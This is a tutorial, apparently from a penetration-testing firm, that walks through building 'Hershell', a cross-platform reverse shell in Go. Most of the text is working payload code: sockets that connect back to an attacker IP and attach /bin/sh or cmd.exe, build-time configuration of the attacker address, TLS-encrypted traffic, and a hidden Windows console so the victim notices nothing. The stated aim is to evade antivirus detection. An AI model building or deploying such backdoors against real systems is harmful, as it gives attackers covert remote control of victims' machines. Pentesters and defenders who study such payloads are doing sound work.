[EN] Golang for pentests : Hershell
Introduction
A must-have tool during pentests is, of course, the well-known and great Metasploit framework.
This environment contains a huge number of payloads, encoders and other tools around.
Meterpreter counts among these payloads : it is a modified shell with exploitation and post-exploitation commands. It is probably the most used thanks to its powerful offensive features.
Troubles with Meterpreter
Unfortunately, its popularity has a drawback: most antivirus and signature-based solutions can detect it. Often during a pentest, a binary containing a Meterpreter payload would be detected and sent to quarantine.
Another issue could be the lack of support for a specific target architecture (BSD for example), forcing us to develop our own backdoor.
These issues pushed us to create Hershell. The project aims to offer a reverse shell payload that, based on a single source code, can be cross-platform and undetected by antivirus software.
We developed it in Go, a compiled language made by Google.
Why Go ?
Indeed, nowadays, Python is probably the most popular language to make scripts or even complete applications, especially in the security community. So why would we learn a new language ?
Go has this advantage over Python or other language, in that it is very easy to perform cross-compilation without any requirement from external dependencies.
A Go binary, thanks to the standard libraries, includes all the required code to execute on the target architecture.
Thus, it should make it easy to build binaries for many kinds of platforms from the same source code.
Objectives
While building this code, we want to achieve what follows:
- make a payload acting as a reverse shell;
- get a payload that works across multiple platforms and hardware architectures (Windows, Linux, Mac OS, ARM);
- be able to configure it easily;
- encrypt communications;
- bypass most antivirus detection engines.
Preparing the environment
Install the Go package from your favorite distribution or download it from the official website.
Once installed, we need to configure the environment. We create a dev
directory that will be the root for sources, libraries and built binaries:
$ mkdir -p $HOME/dev/{src,bin,pkg}
$ export GOPATH=$HOME/dev
$ cd dev
It follows this scheme:
bin
contains compiled binaries and other executable files;pkg
contains the object files for downloaded Go packages;src
contains source directories for your applications and downloaded packages.
My first reverse shell
To start, let’s create a simple TCP reverse shell in Go.
Rather than commenting the code line by line, here is a full commented version:
// filename: tcp.go
package main
import (
"net" // requirement to establish a connection
"os" // requirement to call os.Exit()
"os/exec" // requirement to execute commands against the target system
)
func main() {
// Connecting back to the attacker
// If it fails, we exit the program
conn, err := net.Dial("tcp", "192.168.0.23:2233")
if err != nil {
os.Exit(1)
}
// Creating a /bin/sh process
cmd := exec.Command("/bin/sh")
// Connecting stdin and stdout
// to the opened connection
cmd.Stdin = conn
cmd.Stdout = conn
cmd.Stderr = conn
// Run the process
cmd.Run()
}
First, we establish a connection to the remote server using net.Dial
.
The net
package of the Go standard library is an abstraction layer for network communications based on TCP or UDP.
To learn more on how to use a package, the documentation (go doc
) is very helpful:
$ go doc net
package net // import "net"
Package net provides a portable interface for network I/O, including TCP/IP,
UDP, domain name resolution, and Unix domain sockets.
Although the package provides access to low-level networking primitives,
most clients will need only the basic interface provided by the Dial,
Listen, and Accept functions and the associated Conn and Listener
interfaces. The crypto/tls package uses the same interfaces and similar Dial
and Listen functions.
...
But let’s go back to our script.
Once the connection is established (if it fails, the program stops), we create a process (object of type exec.Cmd
) thanks to the exec.Command
function.
All input and output (stdout
, stdin
and stderr
) are redirected toward the connection and the process is started.
We can then compile and execute the file:
$ go build tcp.go
$ ./tcp
Now, we need to start the listener:
# Listening server (attacker)
$ ncat -lvp 2233
Listening on [0.0.0.0] (family 0, port 2233)
Connection from 192.168.0.20 38422 received!
id
uid=1000(lab) gid=100(users) groupes=100(users)
As you can see, we get our reverse shell, as expected.
Nothing special so far… Most of our objectives have not been achieved yet.
Configuration
We now have some basic code for a reverse shell.
However, we have to modify it before every compilation, in order to define the listening port and IP address of the attacker.
This is not very convenient. But here enters a neat trick: variable definition at linking time (before compilation).
Indeed, it is possible to define the value of some variables during the build (with the go build
command).
Here is a short example with the previous code:
// filename: tcp.go
package main
import (
"net"
"os"
"os/exec"
)
// variable to be defined at compiling time
var connectString string
func main() {
if len(connectString) == 0 {
os.Exit(1)
}
conn, err := net.Dial("tcp", connectString)
if err != nil {
os.Exit(1)
}
cmd := exec.Command("/bin/sh")
cmd.Stdin = conn
cmd.Stdout = conn
cmd.Stderr = conn
cmd.Run()
}
We simply added the following line, as well as a safe test to check that it contains a value:
var connectString string
Such code can be compiled as follows:
$ go build --ldflags "-X main.connectString=192.168.0.23:2233" tcp.go
And that’s it! The attacker’s IP address and port can be now defined dynamically when we build the binary.
Note that such variables can be accessed with the package.nomVariable
pattern, and can be only of string
type.
To make the compilation easier, we can create a Makefile
:
# Makefile
SOURCE=tcp.go
BUILD=go build
OUTPUT=reverse_shell
LDFLAGS=--ldflags "-X main.connectString=${LHOST}:${LPORT}"
all:
${BUILD} ${LDFLAGS} -o ${OUTPUT} ${SOURCE}
clean:
rm -f ${OUTPUT}
For the rest of the article, we will use the LHOST
and LPORT
environment variables to define the settings:
$ make LHOST=192.168.0.23 LPORT=2233
go build --ldflags "-X main.connectString=192.168.0.23:2233" -o reverse_shell tcp.go
Cross-platform
Now that our payload can be easily configured, it is time to make it cross-platform.
As said previously, it is one of the strong point in Go to be able to build for various architectures and platforms from the same code base.
Precisely, the runtime
package offers the GOOS
and GOARCH
variables.
Let’s see how we can use GOOS
:
// filename: tcp_multi.go
package main
import (
"net"
"os"
"os/exec"
"runtime" // requirement to access to GOOS
)
var connectString string
func main() {
var cmd *exec.Cmd
if len(connectString) == 0 {
os.Exit(1)
}
conn, err := net.Dial("tcp", connectString)
if err != nil {
os.Exit(1)
}
switch runtime.GOOS {
case "windows":
cmd = exec.Command("cmd.exe")
case "linux":
cmd = exec.Command("/bin/sh")
case "freebsd":
cmd = exec.Command("/bin/csh")
default:
cmd = exec.Command("/bin/sh")
}
cmd.Stdin = conn
cmd.Stdout = conn
cmd.Stderr = conn
cmd.Run()
}
It is quite obvious here that we added a switch
block to handle the different values of GOOS
. Thus, we are simply checking the values of several operating systems, changing the target process for each.
The above code can be further simplified, as actually /bin/sh
is found on most operating systems except Windows:
switch runtime.GOOS {
case "windows":
// Windows specific branch
cmd = exec.Command("cmd.exe")
default:
// any other OS
cmd = exec.Command("/bin/sh")
}
Now, handling the architecture for cross-compilation is extremely easy using GOARCH
:
$ make GOOS=windows GOARCH=amd64 LHOST=192.168.0.23 LPORT=2233
go build --ldflags "-X main.connectString=192.168.0.23:2233" -o reverse_shell tcp_multi.go
$ file reverse_shell
reverse_shell: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
Network encryption
Now, let’s see how we can encrypt the network traffic.
There are several options:
- build encryption in the application layer, eventually with a home-made method
- use a largely used and tested protocol at the session layer, namely TLS.
As we prefer simplicity and safety, we went for TLS, wich is very easy to implement in Go.
Once again, the standard library already supports everything to enable TLS.
On the client side, a new &tls.Config
type object is required to configure the connection, like for example certificate pinning.
Here is the new code base, with slight optimizations and TLS handling:
import (
"crypto/tls"
"runtime"
"os"
"os/exec"
"net"
)
var connectString string
func GetShell(conn net.Conn) {
var cmd *exec.Cmd
switch runtime.GOOS {
case "windows":
cmd = exec.Command("cmd.exe")
default:
cmd = exec.Command("/bin/sh")
}
cmd.Stdout = conn
cmd.Stderr = conn
cmd.Stdin = conn
cmd.Run()
}
func Reverse(connectString string) {
var (
conn *tls.Conn
err error
)
// Creation of the tls.Config object
// Accepting *any* server certificate
config := &tls.Config{InsecureSkipVerify: true}
if conn, err = tls.Dial("tcp", connectString, config); err != nil {
os.Exit(-1)
}
defer conn.Close()
// Starting the shell
GetShell(conn)
}
func main() {
if len(connectString) == 0 {
os.Exit(1)
}
Reverse(connectString)
}
As the example shows, creating a TLS socket is very similar to creating a simple TCP socket.
Other than the declaration of a tls.Config
, the tls.Conn
object is used in the same manner as net.Conn
.
Conditional compilation
As seen above, it is possible to change the program execution depending on the target operating system.
However, if you tried to use this code as is, you would notice an issue. The cmd.exe
window shows up and cannot be hidden, which could alert the victim.
Fortunately, the SysProcAttr
of the exec.Cmd
object enables to change this behavior, as stated in the documentation:
$ go doc exec.Cmd
...
// SysProcAttr holds optional, operating system-specific attributes.
// Run passes it to os.StartProcess as the os.ProcAttr's Sys field.
SysProcAttr *syscall.SysProcAttr
...
Under Linux, the documentation of the syscall.SysProcAttr
module, we get the following information:
$ go doc syscall.SysProcAttr
type SysProcAttr struct {
Chroot string // Chroot.
Credential *Credential // Credential.
Ptrace bool // Enable tracing.
Setsid bool // Create session.
Setpgid bool // Set process group ID to Pgid, or, if Pgid == 0, to new pid.
Setctty bool // Set controlling terminal to fd Ctty (only meaningful if Setsid is set)
Noctty bool // Detach fd 0 from controlling terminal
Ctty int // Controlling TTY fd
Foreground bool // Place child's process group in foreground. (Implies Setpgid. Uses Ctty as fd of controlling TTY)
Pgid int // Child's process group ID if Setpgid.
Pdeathsig Signal // Signal that the process will get when its parent dies (Linux only)
Cloneflags uintptr // Flags for clone calls (Linux only)
Unshareflags uintptr // Flags for unshare calls (Linux only)
UidMappings []SysProcIDMap // User ID mappings for user namespaces.
GidMappings []SysProcIDMap // Group ID mappings for user namespaces.
// GidMappingsEnableSetgroups enabling setgroups syscall.
// If false, then setgroups syscall will be disabled for the child process.
// This parameter is no-op if GidMappings == nil. Otherwise for unprivileged
// users this should be set to false for mappings work.
GidMappingsEnableSetgroups bool
}
However, in the source code of the syscall
package, we observed that every architecture has a specific implementation.
Moreover, inside the exec
submode for Windows, we noticed that the SysProcAttr
structure has a different definition. It has a HidWindow
attribute (boolean type) that allows to hide the window when a program is started.
It is exactly what we need for our backdoor.
We could be tempted by such a naive implementation:
...
switch runtime.GOOS {
case "windows":
cmd := exec.Cmd("cmd.exe")
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
default:
cmd := exec.Cmd("/bin/sh")
}
...
However, the compilation would fail for any other platform than Windows, as the HideWindow
attribute does not exist in the syscall/exec_linux.go
.
Therefore, we need to adjust the structure of our project, using conditional compilation.
It refers to a feature that allows to add instructions for the compiler to the top of a source code file.
For example, if we wanted to compile a source file only for Windows, we would add:
// +build windows !linux !darwin !freebsd
import net
...
This would instruct the compiler not to include this file when the GOOS
variable is set to darwin
, linux
or freebsd
. Of course, it would be included when the value matches windows
.
To implement it in our project, we will now follow this structure:
$ tree
├── hershell.go
├── Makefile
├── README.md
└── shell
├── shell_default.go
└── shell_windows.go
The hershell.go
contains the heart of the program. We then create a module named shell
, which has two file : shell_default.go
for Linux and Unix, and shell_windows.go
for Windows.
Certificate Pinning
Using TLS to secure communications is a nice thing, but the traffic can still be intercepted by a « Man-in-the-Middle » as long as we don’t authenticate the server.
To prevent such attacks, we will validate the certificate offered by the server, which is called « certificate pinning ».
The following function takes care of it:
func CheckKeyPin(conn *tls.Conn, fingerprint []byte) (bool, error) {
valid := false
connState := conn.ConnectionState()
for _, peerCert := range connState.PeerCertificates {
hash := sha256.Sum256(peerCert.Raw)
if bytes.Compare(hash[0:], fingerprint) == 0 {
valid = true
}
}
return valid, nil
}
This function takes a pointer to a tls.Conn
object as a parameter, as well as a byte array containing the certificate fingerprint in SHA256 format.
The code goes through all PeerCertificates
objects contained in tls.Conn
until it finds one that has a fingerprint matching with the one provided during the connection.
If it happens that no certificate matches, the function returns false
.
We just need to call this function when the connection to the remote server is established, and close the connection if the submitted certificate is not valid:
func Reverse(connectString string, fingerprint []byte) {
var (
conn *tls.Conn
err error
)
config := &tls.Config{InsecureSkipVerify: true}
if conn, err = tls.Dial("tcp", connectString, config); err != nil {
os.Exit(ERR_HOST_UNREACHABLE)
}
defer conn.Close()
// checking the certificate fingerprint
if ok, err := CheckKeyPin(conn, fingerprint); err != nil || !ok {
os.Exit(ERR_BAD_FINGERPRINT)
}
RunShell(conn)
}
The initial, valid fingerprint can be generated during the compilation (in the Makefile
) thanks to the --ldflags
:
...
LINUX_LDFLAGS=--ldflags "-X main.connectString=${LHOST}:${LPORT} -X main.connType=${TYPE} -X main.fingerPrint=$$(openssl x509 -fingerprint -sha256 -noout -in ${SRV_PEM} | cut -d '=' -f2)"
...
Conclusion
This article aimed to show that it is relatively simple to build efficient tools in Go.
The integrated cross-platform features (cross and conditional compilation), as well as the rich standard library enable us to build a lot of nice stuff. We even did not mention the numerous community packages.
We went further with the capacity of the shell to upgrade to a Meterpreter, making it a powerful way to integrated to the Metasploit framework with a stealth Go binary.
You can find the complete project source code in our Github repository. Should you have any problems or suggestions, feel free to open some issues!
Credits
Ronan Kervella <r.kervella -at- sysdream -dot- com>